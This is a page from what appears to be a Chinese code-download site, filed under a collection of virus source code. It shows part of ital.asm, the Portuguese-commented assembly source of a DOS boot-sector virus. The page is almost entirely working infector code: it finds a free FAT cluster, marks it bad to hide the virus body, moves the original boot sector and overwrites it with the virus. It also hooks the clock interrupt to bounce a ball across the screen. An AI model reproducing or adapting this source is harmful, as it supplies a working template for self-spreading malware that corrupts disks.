⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ital.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 2 页
字号:
                jmp     short continua

Inf_Sector      dw      1       ; Sector a infectar
Prim_Dados  dw    0c    ; Numero do primeiro sector de dados
Estado  db      0       ; Estado actual do virus (instalado/nao instalado,etc)
Drive           db      1       ; Drive onde se pediu uma accao
Sector  dw      0ec     ; Sector auxiliar para procura do virus
Flag_2  db      0       ; Estes proximos valores servem para ver se o virus
Flag            dw      1357    ; ja' esta' ou nao presente numa drive , bastando
                dw      0aa55 ; comparar se estes valores batem certos para o saber

continua:       inc     word ptr ds:inf_sector
                mov     bx,ds:inf_sector
                add     byte ptr ds:[FAT_sector],2
                call    ler_sector
                jmp     short   l7e4b

; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus

verificar:      mov     ax,3                            ; Media descriptor + ff,ff
                test    byte ptr ds:estado,4    ; disco duro ?
                jz      l7e1d
                inc     ax                              ; Sim , FAT comeca 1 byte mais adiante
l7e1d:  mul     si                              ; Multiplicar pelo numero do cluster
                shr     ax,1
                sub     ah,ds:FAT_sector
                mov     bx,ax
                cmp     bx,01ff
                jnb     continua
                mov     dx,[bx+8000]            ; Ler a entrada na FAT
                test    byte ptr ds:estado,4
                jnz     l7e45
                mov     cl,4
                test    si,1
                jz      l7e42
                shr     dx,cl
l7e42:  and     dh,0f
l7e45:  test    dx,0ffff                        ; Se a entrada na FAT for zero,entao
                jz      l7e51                           ; descobriu-se um cluster para por o
l7e4b:  inc     si                              ; virus , senao passa-se ao proximo
                cmp     si,di                           ; cluster ate' achar um bom
                jbe     verificar
                ret

; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele

l7e51:  mov     dx,0fff7                        ; Marcar um "bad cluster" (ff7)
                test    byte ptr ds:estado,4    ; Ver qual o tamanho das ents. na FAT
                jnz     l7e68                           ; ( 3 ou 4 nibbles )
                and     dh,0f
                mov     cl,4
                test    si,1
                jz      l7e68
                shl     dx,cl
l7e68:  or      [bx+8000],dx
                mov     bx,word ptr ds:inf_sector       ; Infectar sector !!!
                call    esc_sector
                mov     ax,si
                sub     ax,2
                mov     bl,ds:7c0dh                     ; Numero de sectores por cluster
                xor     bh,bh
                mul     bx
                add     ax,ds:prim_dados
                mov     si,ax                           ; SI = sector a infectar
                mov     bx,0                            ; Ler o sector de boot original
                call    ler_sector
                mov     bx,si
                inc     bx
                call    esc_sector                      ; ... e guarda'-lo depois do virus
infectar:       mov     bx,si
                mov     word ptr ds:sector,si
                push    cs
                pop     ax
                sub     ax,20                           ; Escrever o resto do virus
                mov     es,ax
                call    esc_sector
                push    cs
                pop     ax
                sub     ax,40
                mov     es,ax
                mov     bx,0                            ; Escrever no sector de boot o virus
                call    esc_sector
                ret
Contaminar      endp

Semente dw      ?                               ; Esta word serve para fins de
                                                        ; temporizacao da bola a saltar
FAT_sector      db    0                         ; Diz qual e' o numero do sector que
                                                        ; se esta' a percorrer quando se
                                                        ; vasculha a FAT

Despoletar      proc    near                            ; Comecar a mostrar a bola no ecran
              test  byte ptr ds:estado,2        ; Virus ja' esta' activo ?
            jnz   desp_exit                     ; Sim ,sair
            or    byte ptr ds:estado,2  ; Nao , marcar activacao
                mov     ax,0
                mov     ds,ax
                mov     ax,ds:20                        ; Posicionar interrupt 8 (relogio)
                mov     bx,ds:22
                mov     word ptr ds:20,offset int_8
                mov     ds:22,cs
                push    cs
                pop     ds                              ; E guardar a rotina anterior
                mov     word ptr ds:velho_8+8,ax
                mov     word ptr ds:velho_8+2,bx
desp_exit:      ret
Despoletar      endp

Int_8           proc    near                            ; Rotina de atendimento ao interrupt
              push      ds                              ; provocado pelo relogio 18.2 vezes
                push    ax                              ; por segundo . Neste procedimento
                push    bx                              ; e' que se faz o movimento da bola
                push    cx                              ; pelo ecran
                push    dx
                push    cs
                pop     ds
                mov     ah,0f                           ; Ver qual o tipo de modo de video
                int     10
                mov     bl,al
                cmp     bx,ds:modo_pag          ; Comparar modo e pagina de video com
                jz      ler_cur                 ; os anteriores
                mov     ds:modo_pag,bx          ; Quando aqui chega mudou-se o modo
                dec     ah                              ; de video
                mov     ds:colunas,ah           ; Guardar o numero de colunas
                mov     ah,1
                cmp     bl,7                            ; Comparar modo com 7 (80x25 Mono)
                jnz     e_CGA
                dec     ah
e_CGA:  cmp     bl,4                            ; Ve se e' modo grafico
                jnb     e_grafico
                dec     ah
e_grafico:      mov     ds:muda_attr,ah
                mov     word ptr ds:coordenadas,0101
                mov     word ptr ds:direccao,0101
                mov     ah,3                            ; Ler a posicao do cursor
                int     10
                push    dx                              ; ... e guarda-la
                mov     dx,ds:coordenadas
                jmp     short   limites

ler_cur:        mov     ah,3                            ; Ler a posicao do cursor ...
                int     10
                push    dx                              ; ... e guarda-la
                mov     ah,2                            ; Posicionar o cursor no sitio da bola
                mov     dx,ds:coordenadas
                int     10
                mov     ax,ds:carat_attr
                cmp     byte ptr ds:muda_attr,1
                jnz     mudar_atr
                mov     ax,8307                 ; Atributos e carater 7
mudar_atr:      mov     bl,ah                           ; Carregar carater 7 (bola)
                mov     cx,1
                mov     ah,9                            ; Escrever a bola no ecran
                int     10
limites:        mov     cx,ds:direccao          ; Agora vai-se ver se a bola esta' no
                cmp     dh,0                            ; ecran . Linha = 0 ?
                jnz     linha_1
                xor     ch,0ff                  ; Mudar direccao
                inc     ch
linha_1:        cmp     dh,18                           ; Linha = 24 ?
                jnz     coluna_1
                xor     ch,0ff                  ; Mudar direccao
                inc     ch
coluna_1:       cmp     dl,0                            ; Coluna = 0 ?
                jnz     coluna_2
                xor     cl,0ff                  ; Mudar direccao
                inc     cl
coluna_2:       cmp     dl,ds:colunas           ; Colunas = numero de colunas ?
                jnz     esta_fixe
                xor     cl,0ff                  ; Mudar direccao
                inc     cl
esta_fixe:      cmp     cx,ds:direccao          ; Mesma direccao ?
                jnz     act_bola
                mov     ax,ds:carat_attr
                and     al,7
                cmp     al,3
                jnz     nao_e
                xor     ch,0ff
                inc     ch
nao_e:  cmp     al,5
                jnz     act_bola
                xor     cl,0ff
                inc     cl
act_bola:       add     dl,cl                           ; Actualizar as coordenadas da bola
                add     dh,ch
                mov     ds:direccao,cx
                mov     ds:coordenadas,dx
                mov     ah,2
                int     10
                mov     ah,8                            ; Ler carater para onde vai a bola
                int     10
                mov     ds:carat_attr,ax
                mov     bl,ah
                cmp     byte ptr ds:muda_attr,1
                jnz     nao_muda
                mov     bl,83                           ; Novo atributo
nao_muda:       mov     cx,1
                mov     ax,0907                 ; Escrever a bola no ecran
                int     10
                pop     dx
                mov     ah,2                            ; Recolocar o cursor no posicao onde
                int     10                              ; estava antes de escrever a bola
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     ds
velho_8 equ     $+1
                jmpf    0:0
Int_8           endp

Carat_attr      dw      ?       ; 7fcd
Coordenadas     dw      0101  ; 7fcf
Direccao        dw      0101  ; 7fd1
Muda_attr       db      1       ; 7fd3
Modo_pag        dw      ?       ; 7fd4
Colunas db      ?       ; 7fd6

; Os bytes que se seguem destinam-se a reservar espaco para o stack

Virus           ENDS

END             begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -